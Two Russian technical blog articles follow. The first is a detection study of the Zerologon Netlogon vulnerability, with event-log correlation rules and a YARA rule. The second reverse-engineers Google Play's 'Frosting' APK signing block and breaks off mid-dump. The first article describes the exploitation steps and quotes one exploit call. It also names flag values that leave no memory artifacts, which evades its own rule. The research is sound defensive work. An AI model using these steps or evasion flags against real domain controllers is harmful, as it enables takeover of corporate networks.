Zerologon это уязвимость впротоколе шифрования, который использует служба Netlogon. Протокол позволяет компьютерам проходить аутентификацию наконтроллере домена иобновлять пароль своего аккаунта вActive Directory. Именно эта особенность делает Zerologon опасной. Вчастности, уязвимость позволяет атакующему выдать себя законтроллер домена иизменить его пароль. Злоумышленник получает доступ кконтроллеру домена cнаивысшими привилегиями, аследовательно иккорпоративной сети. После смены пароля атакующий может использовать учетную запись контроллера домена для развития атаки, например, выполнив атаку DCSync (получение учетных записей Active Directory через механизм репликации).


Всентябре голландский исследователь безопасности Том Тервоорт изкомпании Secura опубликовал подробное описание уязвимости. Выяснилось, что Zerologon вызвана недостатком всхеме криптографической аутентификации, которую использует Netlogon Remote Protocol (MS-NRPC). Рукопожатие иаутентификация MS-NRPC предполагают использование режима AES-CFB8 (с8-битным режимом обратной связи пошифротексту). Это вариант блочного шифра AES, который предназначен для работы сблоками входных данных по8байт вместо обычных 16байт (128-бит).


Как обнаружил Тервоорт, применение шифрования AES-CFB8к состоящему изодних нулей открытому тексту приведет ктакомуже состоящему изодних нулей зашифрованному тексту. Это происходит из-за ошибки реализации для 1из256ключей.


Обычно клиентский компьютер, который хочет взаимодействовать ссервером Netlogon, таким как контроллер домена Windows, начинает сотправки восьми случайных байтов (то, что часто называют nonce, сокращая фразу number used once) насервер.


Вавгусте 2020 года врамках августовского вторника Microsoft выпустила исправление уязвимости. Этот патч сделал механизмы безопасности Netlogon (которые отключал Zerologon) обязательными для всех аутентификационных операций, что эффективно предотвращает атаки. Релиз второго патча, полностью закрывающего уязвимость, запланирован нафевраль 2021года.


Этапы эксплуатации Zerologon


Согласно техническому документу Secura, процесс эксплуатации Zerologon состоит изтрех этапов.


  1. Отправка нулевых байтов. Вместо отправки восьми случайных байтов атакующий отправляет 8нулевых байтов. Злоумышленник повторяет отправку таких сообщений, пока сервер успешно непримет одно изних, итем самым обходит процесс аутентификации. Вслучае сZerologon для успешного соединения ссервером требуется всреднем 256 попыток отправки сообщения ClientChallenge, состоящего изодних нулей.
  2. Отключение механизма RPC signing and sealing. MS-NRPC использует механизм RPC signing and sealing для шифрования транспортного уровня. Обычно шифрование обязательный процесс при передаче данных, новMS-NRPC этот механизм неявляется обязательным иуправляется клиентом. Сервер небудет отказывать вустановлении соединения клиентам, которые незапрашивают использование шифрования. Это означает, что выможете просто отключить шифрование взаголовке сообщения. Собственно, вторая стадия изаключается вотключении механизма RPC signing and sealing, чтобы сообщения отправлялись воткрытом виде иатакующий мог использовать методы протокола MS-NRPC.
  3. Изменение пароля учетной записи. Третья стадия эксплуатации уязвимости Zerologon заключается визменении пароля для учетной записи контроллера домена, соединение отимени которого было установлено ранее. Атакующие при помощи метода NetrServerPasswordSet вMS-NRPC могут изменить пароль учетной записи компьютера. Самый простой способ использования этого метода заключается вудалении текущего пароля или, другими словами, установке пароля впустое значение. Также возможно изменить пароль, просто отправив запрос спредпочтительным новым паролем. После смены пароля атакующие могут использовать учетную запись контроллера домена для развития атаки, например, как упоминалось ранее, выполнить репликацию базы данных Active Directory.

PoC иэксплоиты


Первый PoC опубликовала компания Secura наGitHub. Скрипт попытается проэксплуатировать уязвимость Zerologon: после успешного установления соединения оннемедленно завершит работу инебудет выполнять никаких действий через Netlogon.


Что касается эксплоитов, намомент публикации этой статьи ихпоявилось уже много. Однако все они ведут себя одинаково: либо сбрасывают пароль, либо устанавливают его вопределенное пользователем значение.


Есть также альтернативный метод эксплуатации Zerologon, найденный исследователем безопасности Дирк-Яном Моллема. Ноониспользуется вместе сдругими уязвимостями изаслуживает отдельной статьи.


Методы обнаружения


Целью нашего исследования было найти все возможные методы обнаружения факта эксплуатации Zerologon. Мыразработали ипротестировали логику правил корреляции, сигнатур для сетевых IPS-\IDS-систем, атакже YARA-правило для выявления артефактов впамяти процесса LSASS.


Обнаружение сиспользованием журнала отладки Netlogon


Поскольку эксплуатируется уязвимость впротоколе Netlogon, рассмотрим журнал событий Netlogon. Поумолчанию вжурналах Windows аудиту подлежит лишь часть событий, однако можно включить режим отладки Netlogon спомощью команды nltest /dbflag:0x2080ffff, которая должна быть запущена отимени администратора. После этого служба Netlogon будет сохранять большую часть важных событий в файл журнала, который можно найти по пути C:\Windows\debug\netlogon.txt. Затем необходимо перезапустить службу Netlogon. Наскриншоте ниже несколько интересных строк, которые были записаны службой Netlogon вжурнал впроцессе эксплуатации уязвимости Zerologon.



Пример событий, записанных вотладочном журнале Netlogon входе эксплуатации уязвимости Zerologon


При настроенном режиме отладки Netlogon вжурнале фиксируется каждый этап атаки идаже присутствует MD5-хеш пароля, который был установлен для учетной записи контроллера домена. MD5-хеш записывается вформате little-endian. Однако подобный способ мониторинга неочень удобный сточки зрения сбора событий вSIEM-систему, кроме того, онтребует включения режима отладки Netlogon навсех контроллерах домена.


Обнаружение артефактов, оставленных эксплоитами


Первая стадия процесса эксплуатации это фактически брутфорс. Эксплоит множество раз пытается аутентифицироваться спомощью Netlogon наконтроллере домена ссообщением ClientChallenge, состоящим из8нулевых байт. Множественные неуспешные попытки аутентификации приводят кгенерации события 5805на контроллере домена: The session setup from the computer failed toauthenticate. The following error occurred: Access isdenied (см. пример события наскриншоте ниже).

Кроме того, если вэксплоите было указано неверное имя учетной записи контроллера домена, топопытка аутентификации сневерной учетной записью вызывает генерацию события 5723на контроллере домена: The session setup from computer failed because the security database does not contain atrust account referenced bythe specified computer (наскриншоте ниже).

Вслучае эксплуатации Zerologon при помощи утилиты mimikatz или других эксплоитов, запущенных схоста сименем kali, всобытиях остаются артефакты (имя хоста сустановленной ОСKali Linux меняется крайне редко, поэтому иучитывается вправиле). Mimikatz снеизмененным исходным кодом оставляет артефакт ввиде подстроки mimikatz всобытиях 5805 и5723.


Врамках исследования мытакже рассмотрели различные вариации использования эксплоитов ивыявили случаи эксплуатации уязвимости Zerologon свиртуальной машины под управлением ОСKali Linux, при которых всобытиях 5805 и5723 оставался артефакт ввиде подстроки kali, указанной вкачестве хоста источника аутентификации.



Событие 5805. Ошибка аутентификации сессии схоста kali. Доступ запрещен



Событие 5723. Ошибка установления сессии схоста mimikatz из-за отсутствия вбазе данных безопасности аккаунта evildc


Таким образом, логика первого правила обнаружения попытки эксплуатации уязвимости Zerologon будет выглядеть следующим образом:
(EventID = 5805 OREventID = 5723) AND (Message contains kali ORMessage contains mimikatz)


Обнаружение наосновании различий легитимной смены пароля отэксплуатации уязвимости


Теперь рассмотрим методы обнаружения, основанные наразличном наборе событий при периодическом легитимном обновлении пароля учетной записи компьютера ипри его смене при эксплуатации Zerologon.


Максимальный срок действия пароля учетной записи компьютера поумолчанию 30дней. Поистечении этого срока пароль будет изменен средствами операционной системы сиспользованием протокола Netlogon. Данное значение может быть изменено при помощи локальной или групповой политики:


Computer Configuration Policies Windows Settings Security Settings Local Policies Security Options Domain member: Maximum machine account password age.


При изменении пароля учетной записи компьютера вжурнале событий Security будет сгенерировано несколько событий. Первое изних это событие сEventID 4742 Acomputer account was changed, которое имеет TargetUserName, равное имени учетной записи контроллера домена, аPasswordLastSet установлено вдату смены пароля. Это событие означает, что пароль учетной записи компьютера контроллера домена был изменен.



Событие 4742. Пароль учетной записи DC$ был изменен в5:46:34PM


Вжурнале событий System есть еще одно интересное событие сEventID 5823 The system successfully changed its password onthe domain controller. This event islogged when the password for the computer account ischanged bythe system. Itislogged onthe computer that changed the password. Это событие означает, что учетная запись компьютера была легитимно изменена системой.


Событие 5823. Пароль учетной записи контроллера домена был успешно изменен системой в5:46:34PM


Таким образом, при легитимной смене пароля учетной записи контроллера домена будет сгенерировано два события: 5823 и4742. Однако при эксплуатации Zerologon событие 5823 будет отсутствовать вжурнале аудита.


Логика второго правила обнаружения эксплуатации уязвимости Zerologon может выглядеть следующим образом:


when bothof (EventID = 4742 AND TargetUserName INDomain_Controller_Accounts_List AND PasswordLastSet != -) and not (EventID = 5823) were detected onthe same host within 1minute


Реализованное поописанной выше логике правило позволит свысокой точностью обнаружить факты эксплуатации уязвимости Zerologon. Дополнительной настройки политики аудита для его работы непотребуется. Единственное, что потребуется, подготовить список контроллеров домена организации ипоместить его внабор Domain_Controller_Accounts_List.


Однако можно посмотреть напроцесс обнаружения эксплуатации уязвимости Zerologon под другим углом. Ранее мыписали, что первая стадия эксплуатации это брутфорс. Поэтому, если втечение одной минуты наодном контроллере домена будут обнаружены оба события 5805 и4742, это также будет свидетельствовать офакте успешной эксплуатации Zerologon.


Логика нашего третьего правила для обнаружения эксплуатации уязвимости Zerologon, может выглядеть следующим образом:


when bothof (EventID = 4742 AND TargetUserName INDomain_Controller_Accounts_List AND PasswordLastSet != -) and (EventID = 5805) were detected onthe same host within 1minute


Обнаружение эксплуатации наоснове сетевого трафика


Как мыупоминали вначале статьи, первый этап эксплуатации уязвимости подразумевает множественные попытки отправки ClientChallenge спредустановленным нулевым значением ключа для обхода аутентификации. Как показала практика, вподавляющем большинстве случаев для обхода механизма аутентификации необходимо неменее 10попыток. Такая аномалия может быть легко обнаружена всетевом трафике. Обращения попротоколу DCE/RPC сотправкой запросов наполучение ServerChallenge методом NetrServerReqChallenge ипопытками аутентификации методами NetrServerAuthenticate снулевым значением ClientChallenge осуществляются наRPC-интерфейс MS-NRPC.


Трафик Mimikatz версии 2.2.0-20200916 без шифрования нагрузки DCE/RPC при обходе аутентификации снулевым значением ключа содержит артефакт впеременной Computer Name метода NetrServerReqChallenge (Opnum4).



Трафик Mimikatz версии 2.2.0-20200916 при обходе аутентификации


Трафик Mimikatz версии 2.2.0-20200918с шифрованием нагрузки DCE/RPC (посредством использования NTLMSSP суровнем аутентификации RPC_C_AUTHN_LEVEL_PKT_PRIVACY) несодержит уникальных артефактов. Однако атаку можно выявить помногократно повторяющимся методам NetrServerReqChallenge (Opnum4) иNetrServerAuthenticate2 (Opnum15) втрафике отединственного источника запромежуток времени внесколько секунд.



Зашифрованный трафик Mimikatz версии 2.2.0-20200918 при обходе аутентификации


Посредством PoC отправка пар методов NetrServerReqChallenge иNetrServerAuthenticate осуществляется вотдельных TCP-сессиях. При этом концептуально подход квыявлению наоснове повторяющихся пар NetrServerReqChallenge иNetrServerAuthenticate остается темже.


Назаключительном этапе атаки при помощи метода NetrServerPasswordSet2 (Opnum30) споследовательностью из516 нулевых байтов для учетной записи компьютера контроллера домена устанавливается пустой пароль.



Трафик запроса насброс пароля методом NetrServerPasswordSet2


Таким образом, обнаружить атаку Zerologon посетевому трафику возможно поаномально большому количеству запросов отединственного источника попротоколу DCE/RPC спарами методов NetrServerReqChallenge иNetrServerAuthenticate закороткий промежуток времени. При определенных условиях можно более точно идентифицировать активность, основываясь науникальных артефактах втрафике, аненастатистических аномалиях.


Обнаружение артефактов вадресном пространстве LSASS


Поскольку вовремя эксплуатации уязвимости Zerologon происходит аутентификация наконтроллере домена сиспользованием MS-NRPC функции hNetrServerAuthenticate2 (hNetrServerAuthenticate3), впроцессе аутентификации задействуется сервис проверки подлинности локальной системы (LSASS). Врезультате обращения ксерверу проверки подлинности вадресное пространство процесса lsass.exe попадает артефакт структура, содержащая параметры, переданные вфункцию hNetrServerAuthenticate2 (hNetrServerAuthenticate3) (см. рисунок ниже).


server_auth = nrpc.hNetrServerAuthenticate3(          rpc_con,          '\\\\' + compname + '\\x00',        #\\\\dc          compname + '$\\x00',                #dc          nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, #6          compname + '\\x00',                 #dc          ciphertext,                         #00000000          flags                               #0x212fffff)

Пример вызова функции hNetrServerAuthenticate3с передаваемыми ейаргументами



Фрагмент дампа адресного пространства процесса lsass сартефактами после эксплуатации уязвимости Zerologon


Нафрагменте исходного кода одного изэксплоитов ифрагменте дампа адресного пространства процесса lsass сартефактами, оставшимися после эксплуатации, видна взаимосвязь. Переданные вфункцию аргументы остались впамяти, общая структура данных сохранилась. Если смотреть сконца, 4байта (0212fffff) представляют собой флаги Netlogon Negotiable Options. Перед ним располагаются 8нулевых байтов, представляющие собой нулевой шифротекст. Затем перед ними трижды записывается имя хоста DCв такомже виде ипорядке, вкотором аргументы были переданы вфункцию. Также впамяти виден байт, означающий тип безопасного канала Netlogon ServerSecureChannel (06).


Однако иногда понеустановленным причинам этот идругие байты могут принимать различные значения, несвязанные сописанием выше. Артефакты вадресном пространстве процесса lsass.exe хранятся всегменте, который неподразумевает долговременного хранения данных, имогут быть удалены влюбой момент после появления. Наше исследование показало, что вбольшинстве случаев артефакты остаются впамяти процесса lsass.exe недольше получаса, после чего перезаписываются другими данными.


Основным маркером, позволяющим находить данный участок адресного пространства ииспользовать его для дальнейших проверок, являются флаги Netlogon Negotiable Options. Они представляют собой 32-битное число, которое формируется вбинарном виде изнабора различных параметров.


Поинформации изтехнического документа компании Secura, атакже других исследований данной уязвимости, второй этап эксплуатации Zerologon это отключение механизма RPC signing and sealing посредством отключения нужного бита вофлаге. Вовсех рассмотренных эксплоитах иисследованиях для отключения данного механизма используется значение флагов 0212fffff. Однако наше исследование показало, что единственный влияющий науспешную эксплуатацию параметр это 25-й бит, отвечающий завключение поддержки AES-CFB8 Supports Advanced Encryption Standard (AES) encryption (128 bit in8-bit CFB mode) and SHA2hashing. Для успешной эксплуатации уязвимости требуется лишь этот флаг, остальные могут быть установлены в1или0, это неповлияет нарезультат. Тем самым изменение нескольких бит вофлаге влечет засобой потерю искомого якоря вадресном пространстве lsass ввиде байт ffff2f21, содержащих всебе флаги, которые используют все протестированные вовремя исследования эксплоиты.


Помимо обхода детектирующей логики YARA-правил, окоторых расскажем ниже, использование некоторых флагов Netlogon Negotiable Options приводит ктому, что вадресном пространстве lsass неостается артефактов, покоторым возможно выявить факт эксплуатации уязвимости Zerologon. Один изтаких флагов 0312fffff. Так подтверждается гипотеза отом, что флаги, которые порезультатам исследований позволяют отключить механизм RPC signing and sealing, насамом деле для этого непредназначены.


Входе исследования мыпроанализировали различные YARA-правила (втом числе разработанное специалистами изкомпании Cynet), нацеленные наобнаружение следов эксплуатации уязвимости Zerologon впамяти системы. Мыустановили, что существующие правила неучитывают различных аномалий, связанных смодификацией некоторых значащих байт вадресном пространстве, ирешили реализовать новое YARA-правило, учитывающее эти аномалии.


Необходимо напомнить, что эксплуатация возможна при практически любом сочетании флагов Netlogon Negotiable Options, нопри этом именно флаги служат якорем для обнаружения артефактов впамяти. Поэтому мыприняли такое ограничение: использовать внашем YARA-правиле распространенное сочетание флагов 0212fffff. Впроцессе разработки мыпротестировали различные эксплоиты, втом числе модуль zerologon утилиты mimikatz. Полученное правило протестировано наОСWindows Server 2012R2 иWindows Server 2016.


YARA-правило, разработанное входе исследования, представлено ниже.


rule Zerologon_exploit{    meta:        vulnerability = "CVE-2020-1472"        description = "Memory detection of Zerologon exploits"        reference = "<https://www.secura.com/blog/zero-logon>"        reference = "<https://www.cynet.com/zerologon>"    strings:        $pattern = {00 ?? ?? (0? | 10 | 11) 00 00 00 00 00 00 00 (0? | 10 | 11) 00 00 00 (4? | 5? | 6? | 7? | 2D) 00 [1-27] 00 (24 | 00) 00 00 00 ( 00 00 | 06 00 | 06 00 00 00) (0? | 10) 00 00 00 00 00 00 00 (0? | 10) 00 00 00  (4? | 5? | 6? | 7? | 2D) 00 [1-27] 00 00 00 [8] FF FF 2F 21}    condition:        $pattern}

YARA-правило для обнаружения фактов эксплуатации Zerologon


Выводы


Описанные выше правила наоснове журналов событий Windows, сетевой телеметрии, атакже YARA-правило можно использовать как поотдельности, так ивместе, что позволит нетолько детектировать факты эксплуатации Zerologon, ноиповысить скорость классификации инцидента.


Новости отом, что информационные системы той или иной компании зашифрованы входе атаки сиспользованием Zerologon, появляются все чаще. Поэтому нестоит забывать, что одной лишь возможности обнаружить факты эксплуатации Zerologon для защиты недостаточно. Значительно снизить риски поможет установка закрывающих уязвимость обновлений безопасности отMicrosoft.

Подробнее..

Пасхалка в APK-файлах что такое Frosting

11.12.2020 12:12:55 | Автор: admin


Автор: Константин Молодяков


Структура файла увлекательный мир со своими историей, тайнами и собственным цирком уродов, где выступают костыльные решения. Если в ней покопаться, можно найти много интересного.


Я наткнулся на одну особенность APK-файлов специальную подпись с особым блоком метаданных, Frosting. Она позволяет однозначно определить, распространялся ли файл через Google Play. Эта подпись будет полезна для антивирусных вендоров и песочниц при анализе вредоносов. Кроме того, она может помочь криминалистам при поиске источника файла.


Информации об этом практически нет. Удалось найти только раздел Security metadata in early 2018 в Android Developers Blog и утилиту Avast, которая позволяет проверить данную подпись. Я решил изучить эту штуку, проверить корректность предположений разработчиков Avast о содержании Frosting-блока и поделиться своими выводами.


Frosting и APK Signing Block


Google использует специальную подпись APK-файлов при публикации приложений в Google Play. Эта подпись лежит в APK Signing Block, который находится перед центральной директорией ZIP-файла и после его основного содержимого:

Для идентификации APK Signing Block используется magic APK Sig Block 42. Внутри блока подписи могут лежать другие блоки, предназначение которых определяется 4-байтовым ID. Получается расширение ZIP-формата с обратной совместимостью. Если интересно почитать подробнее или увидеть исходники, метод ApkSigningBlockUtils.findSignature описан тут.


Возьмем какой-нибудь файл, например 2124948e2b7897cd6fbbe5fbd655c26d. Посмотреть идентификаторы блоков, содержащихся в APK Signing Block, можно с помощью androguard:


from androguard.core.bytecodes import apkapk_obj = apk.APK("2124948e2b7897cd6fbbe5fbd655c26d.apk")apk_obj.parse_v2_v3_signature()print(["0x%X" % key for key in apk_obj._v2_blocks.keys()])['0x7109871A', '0x2146444E']

Существует несколько блоков с разными индентификаторами, которые официально описаны в документации:



Некоторые блоки можно найти в исходниках Android:


  • 0x42726577 (VERITY_PADDING_BLOCK_ID) блок, используемый для нулевого выравнивающего блока;
  • 0x6dff800d (SOURCE_STAMP_BLOCK_ID) относительно новый вид блоков.

Встречаются и другие блоки:


  • 0x504b4453 (DEPENDENCY_INFO_BLOCK_ID) блок, в котором, по всей видимости, содержится метаинформация о зависимостях, сохраняемая плагином Android Gradle для определения проблем с ними;
  • 0x71777777 (APK_CHANNEL_BLOCK_ID) блок китайской приблуды Walle для сборки, который содержит JSON с именем канала;
  • 0xff3b5998 нулевой блок, который встретился мне в файле найти какую-либо информацию о нем я не смог;
  • 0x2146444e блок с необходимой метаинформацией от Google Play.

Frosting и Play Маркет


Вернемся к анализу рассматриваемого блока 0x2146444e. Для начала следует изучить внутренности приложения Play Маркет.


.method public static b(ByteBuffer)ByteBuffer        .registers 2    00000000  invoke-static       bny->a(ByteBuffer)aea, p0    00000006  move-result-object  p0    00000008  const               v0, 0x2146444E    0000000E  invoke-virtual      aea->a(I)Object, p0, v0    00000014  move-result-object  p0    00000016  check-cast          p0, bnx    0000001A  if-eqz              p0, :00000024    0000001E  iget-object         p0, p0, bnx->a:ByteBuffer    00000022  return-object       p0    00000024  new-instance        p0, SigBlockUtil$BlockNotFoundException    00000028  const-string        v0, "Block entry id (go/apk-structure-glossary) "                                      "not present in APK Signing Block"    0000002C  invoke-direct       SigBlockUtil$BlockNotFoundException->                                      <init>(String)V, p0, v0    00000032  throw               p0.end method

Интересующий нас идентификатор обнаружен в двух местах. Смотрим глубже. Довольно быстро находим класс, отвечающий за разбор блока. Здесь же первый раз среди констант появляется название Frosting-блока:


public enum aysn implements avto {    UNKNOWN(0),    SUCCESS(81),    NO_FROSTING_BLOCK(1),    FROSTING_BLOCK_TOO_SHORT(2),    BAD_SIGNED_DATA_LENGTH_VARINT(3),    NON_POSITIVE_SIGNED_DATA_LENGTH(4),    SIGNED_DATA_LENGTH_TOO_LONG(5),    BAD_FROSTING_LENGTH_VARINT(6),    NON_POSITIVE_FROSTING_LENGTH(7),    FROSTING_LENGTH_BEYOND_SIGNED_DATA(8),    FROSTING_LENGTH_BEYOND_BLOCK(9),    MALFORMED_FROSTING(10),    // ...    INSTALLER_NO_ACCOUNT_WITH_MATCHING_REGION(74);    // ...}

Я сравнил разные версии приложения Play Маркет и заметил следующее: код, отвечающий за разбор такого вида подписи, появился примерно в январе 2018 года вместе с выходом версии 8.6.X. Блок с метаданными Frosting существовал и раньше, но именно в этот период он принял тот вид, в котором существует сейчас.


Для разбора данных нам понадобится примитив чтения 4-байтового числа. Схема представляет собой стандартный varint без каких-либо ухищрений с отрицательными числами:


private static int read_int32(ByteBuffer arg2) {    int v0 = arg2.get();    if(v0 >= 0) {        return v0;    }    int v0_1 = v0 & 0x7F;    int v1 = arg2.get();    if(v1 >= 0) {        return v1 << 7 | v0_1;    }    v0_1 |= (v1 & 0x7F) << 7;    int v1_1 = arg2.get();    if(v1_1 >= 0) {        return v1_1 << 14 | v0_1;    }    v0_1 |= (v1_1 & 0x7F) << 14;    int v1_2 = arg2.get();    if(v1_2 >= 0) {        return v1_2 << 21 | v0_1;    }    int v2 = arg2.get();    int v0_2 = v0_1 | (v1_2 & 0x7F) << 21 | v2 << 28;    if(v2 >= 0) {        return v0_2;    }    throw new IllegalArgumentException();}

Функция разбора блока довольно большая, хоть и устроена просто. Она позволяет разобраться в самой структуре данных:


{    var_int32 size_signed_data,    var_int32 size_frosting,    byte frosting[size_frosting],    var_int32 size_validation_sequence,    array validation_sequence {        var_int32 size_validation_data,        var_int32 validation_strategy,        var_int32 signing_key_index,        byte sha256[0x20]},    var_int32 size_signature_sequence,    array signature_sequence {        var_int32 size_signature,        byte signature[size_signature]}}

Для проверки подписи используются хеш и ключ первого поля из последовательности validation_sequence, у которого validation_strategy равен нулю. Сама подпись забирается из последовательности signature_sequence с таким же порядковым номером, как у записи из validation_sequence. На рисунке ниже представлен поясняющий псевдокод:


def get_signing_data(frosting_block):    for i, validation in enumerate(frosting_block.validation_sequence):        if validation.validation_strategy != 0:            continue        return (            validation.sha256, validation.signing_key_index,            frosting_block.signature_sequence[i].signature)    raise AttributeError()

Значение signing_key_index указывает на индекс в массиве finsky.peer_app_sharing_api.frosting_public_keys, который определен следующим образом и пока содержит только один ключ:


gyd.iH = arip.a(    "finsky.peer_app_sharing_api.min_tos_version", v8);gyd.iI = arip.a(    "finsky.peer_app_sharing_api.frosting_public_keys",    "MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEZH2+1+E07dnErAD3L6BbTnaohU0bbXriNlJI7VxJU+LjdSwPyXR5pomARAMoyPkMksLz/gitUPtFuJoPL2ziEw==");gyd.iJ = arip.a(    "finsky.peer_app_sharing_api.startup_package_blacklist",    "com.android.vending,com.google.android.gms,com.android.providers.downloads");gyd.iK = arip.a(    "finsky.frosting_only_update_time_ms", Long.valueOf(TimeUnit.DAYS.toMillis(30L)));

Подписываются данные размером size_signed_data, начиная с переменной size_frosting, алгоритмом ECDSA_SHA256. При этом подписываемые данные содержат SHA-256 от данных файла:


1) данные от начала файла до блока подписи;


2) данные от central directory до конца end of central directory, с заменой в end of central directory значения поля offset of start of central with respect to the starting disk number на оффсет блока подписи.


Если есть блок подписи схемы версии 2, то он вставляется между данными из пунктов 1 и 2 с добавлением APK_SIGNATURE_SCHEME_V2_BLOCK_ID перед ним.

Функция, вычисляющая хеш в приложении Play Маркет, выглядит так:


private static byte[] get_frosting_hash(RandomAccessFile f_apk,         long offset_signing_block, ByteBuffer signature_scheme_v2_block,         long offset_zip_central_dir, long size_from_central_dir_to_end_central_dir,         ByteBuffer end_central_dir) {    MessageDigest v0;    try {        v0 = MessageDigest.getInstance("SHA-256");    }    catch(NoSuchAlgorithmException unused_ex) {        throw new FrostingUtil.FailureException(aysn.N);  // NO_SHA_256_ALGORITHM    }    mcc.update_digest(v0, f_apk, 0L, offset_signing_block);    if(signature_scheme_v2_block != null) {        v0.update(mcc.a);        v0.update(signature_scheme_v2_block);    }    mcc.update_digest(v0, f_apk, offset_zip_central_dir,            size_from_central_dir_to_end_central_dir);    bnz.a(end_central_dir, offset_signing_block);    end_central_dir.position(end_central_dir.position());    end_central_dir.limit(end_central_dir.limit());    v0.update(end_central_dir);    return v0.digest();}

Frosting и ProtoBuf


Этой информации достаточно, чтобы проверить валидность подписи. Но, увы, мне так и не удалось узнать, что скрывается в данных Frosting-блока. У меня получилось лишь определить, что данные имеют формат ProtoBuf и могут сильно отличаться по размеру и наличию полей в зависимости от файла.


Обычно декодированные без схемы данные выглядят так (4b005c9e9ea0731330a757fcf3abeb6e):


cat ./ru.sberbankmobile_11.1.0_2020072413.protobuf | ./protodec -p{  "1:0:varint": 2,  "2:1:varint": 0,  "3:2:varint": 1,  "4:3:varint": 1603811598348,  "5:4:embedded": {    "8:0:embedded": {      "1:0:embedded": {        "1:0:varint": 21      },      "6:1:varint": 3    },    "9:1:embedded": {      "1:0:embedded": {        "1:0:varint": 2020072413,        "4:1:varint": 3      },      "2:1:embedded": {        "1:0:varint": 2020072414,        "4:1:varint": 5      }    },    "10:2:embedded": {      "1:0:bytes": [        255, 255, 255, 255, 255, 255, 255, 255, 255,        255, 255, 255, 255, 255, 255, 255, 255, 7,        0, 40, 0, 16, 0, 0, 80, 5, 16, 64, 0, 56      ]    }  },  "8:5:varint": 1,  "9:6:varint": 2}

Но встречаются экземпляры (471c589acc800135eb318057c43a8068), содержащие под пятьсот полей.


Скрытый текст
{  "1:0:varint": 1,  "2:1:varint": 1,  "3:2:varint": 1,  "4:3:varint": 1593452906098,  "5:4:embedded": {    "7:0:embedded": {      "1:0:varint": 1,      "2:1:varint": 1    },    "8:1:embedded": {      "1:0:embedded": {        "1:0:varint": 16      },      "6:1:varint": 3,      "6:2:varint": 2    },    "9:2:embedded": {      "1:0:embedded": {        "1:0:varint": 2021505050,        "4:1:varint": 3,        "4:2:varint": 2      }    },    "10:3:embedded": {      "1:0:bytes": [        221, 255, 227, 239, 247, 127, 255, 191, 239, 191, 255, 255, 255, 255,        247, 255, 255, 0, 0, 8, 0, 16, 0, 0, 16, 5, 16, 64, 0, 32],      "3:1:embedded": {        "1:0:bytes": [          137, 204, 247, 126, 103, 225, 96, 185, 11, 67, 239, 227, 193, 247,          248, 68, 8, 2, 37, 20, 197, 120, 249, 112, 81, 240, 131, 124, 231,          64, 45, 116, 60, 212, 47, 211, 175, 84, 218, 140, 61, 140, 116, 14,          9, 38, 64, 21, 87, 196, 128, 228, 201, 237, 248, 67, 96, 229, 131,          79, 217, 94, 223, 232, 73, 222, 177, 132, 162, 191, 144, 84, 83, 77,          253, 70, 207, 180, 53, 131, 75, 2, 111, 84, 212, 4, 33, 100, 160, 78,          253, 54, 63, 120, 67, 18, 92, 196, 101, 214, 245, 149, 11, 217, 102,          93, 243, 158, 87, 133, 135, 85, 179, 175, 58, 242, 217, 52, 37, 128,          81, 76, 10, 113, 96, 205, 150, 253, 12, 105, 74, 1, 25, 146, 160,          126, 93, 196, 179, 143, 145, 106, 135, 242, 136, 186, 96, 164, 61,          11, 56, 229, 113, 104, 68, 162, 179, 105, 25, 125, 27, 43, 162, 94,          238, 237, 75, 89, 0, 112, 98, 49, 129, 49, 208, 89, 163, 66, 174,          119, 27, 135, 109, 105, 204],        "2:1:varint": 13      }    },    "12:4:embedded": {      "1:0:embedded": {        "5:0:varint": 21      },      "2:1:embedded": {        "1:0:varint": 0,        "2:1:embedded": {          "1:0:bytes": [            41, 93, 201, 211, 27, 15, 203, 207, 160, 84, 10, 4, 65, 194, 92,            146, 191, 221, 207, 134, 150, 216, 77, 234, 223, 53, 187, 49, 207,            136, 84, 82]        },        "3:2:embedded": {          "1:0:bytes": [            80, 168, 41, 12, 177, 59, 101, 235, 150, 116, 174, 248, 213, 250,            72, 228, 35, 56, 11, 184, 197, 36, 206, 168, 225, 19, 221, 82, 213,            106, 206, 248],          "2:1:embedded": {            "1:0:embedded": {              "1:0:varint": 120            }          }        },        "3:3:embedded": {          "1:0:bytes": [            59, 234, 46, 139, 75, 154, 134, 17, 78, 53, 232, 182, 38, 151, 51,            63, 38, 71, 1, 189, 112, 252, 157, 201, 177, 179, 163, 159, 188,            22, 181, 221],          "2:1:embedded": {            "1:0:embedded": {              "1:0:varint": 160            }          }        },        "3:4:embedded": {          "1:0:bytes": [            202, 210, 137, 99, 138, 209, 74, 181, 118, 190, 8, 18, 68, 86, 137,            151, 223, 217, 226, 19, 248, 109, 240, 206, 216, 31, 232, 18, 87,            167, 17, 251],          "2:1:embedded": {            "1:0:embedded": {              "1:0:varint": 240            }          }        },        "3:5:embedded": {          "1:0:bytes": [            191, 119, 224, 30, 167, 161, 4, 135, 44, 155, 92, 208, 26, 168,            120, 198, 195, 65, 125, 110, 58, 168, 92, 171, 56, 41, 131, 172,            176, 171, 78, 223],          "2:1:embedded": {            "1:0:embedded": {              "1:0:varint": 320            }          }        },        "3:6:embedded": {          "1:0:bytes": [            246, 143, 161, 148, 32, 191, 55, 116, 35, 71, 23, 31, 83, 35, 218,            162, 116, 40, 111, 227, 122, 3, 151, 57, 45, 54, 156, 94, 171, 146,            185, 175],          "2:1:embedded": {            "1:0:embedded": {              "1:0:varint": 480            }          }        },        "3:7:embedded": {          "1:0:bytes": [            5, 217, 66, 174, 71, 16, 113, 53, 143, 20, 129, 142, 83, 16, 107,            217, 105, 193, 85, 234, 236, 46, 45, 168, 7, 17, 71, 171, 18, 239,            131, 23],          "2:1:embedded": {            "1:0:embedded": {              "1:0:varint": 640            }          }        },        "3:8:embedded": {          "1:0:bytes": [            134, 163, 146, 36, 137, 172, 95, 238, 205, 214, 71, 99, 209, 190,            16, 59, 205, 59, 201, 2, 146, 43, 117, 131, 131, 218, 64, 251, 108,            217, 37, 141],          "2:1:embedded": {            "1:0:embedded": {              "1:0:varint": 213            }          }        },        "3:9:embedded": {          "1:0:bytes": [            186, 26, 67, 178, 23, 52, 226, 60, 224, 196, 139, 119, 120, 246,            20, 110, 238, 52, 171, 50, 107, 40, 225, 89, 86, 93, 183, 41, 195,            150, 1, 234],          "2:1:embedded": {            "5:0:embedded": {              "1:0:varint": 7            }          }        },        "3:10:embedded": {          "1:0:bytes": [            58, 32, 81, 63, 166, 190, 81, 128, 63, 140, 253, 185, 32, 231, 65,            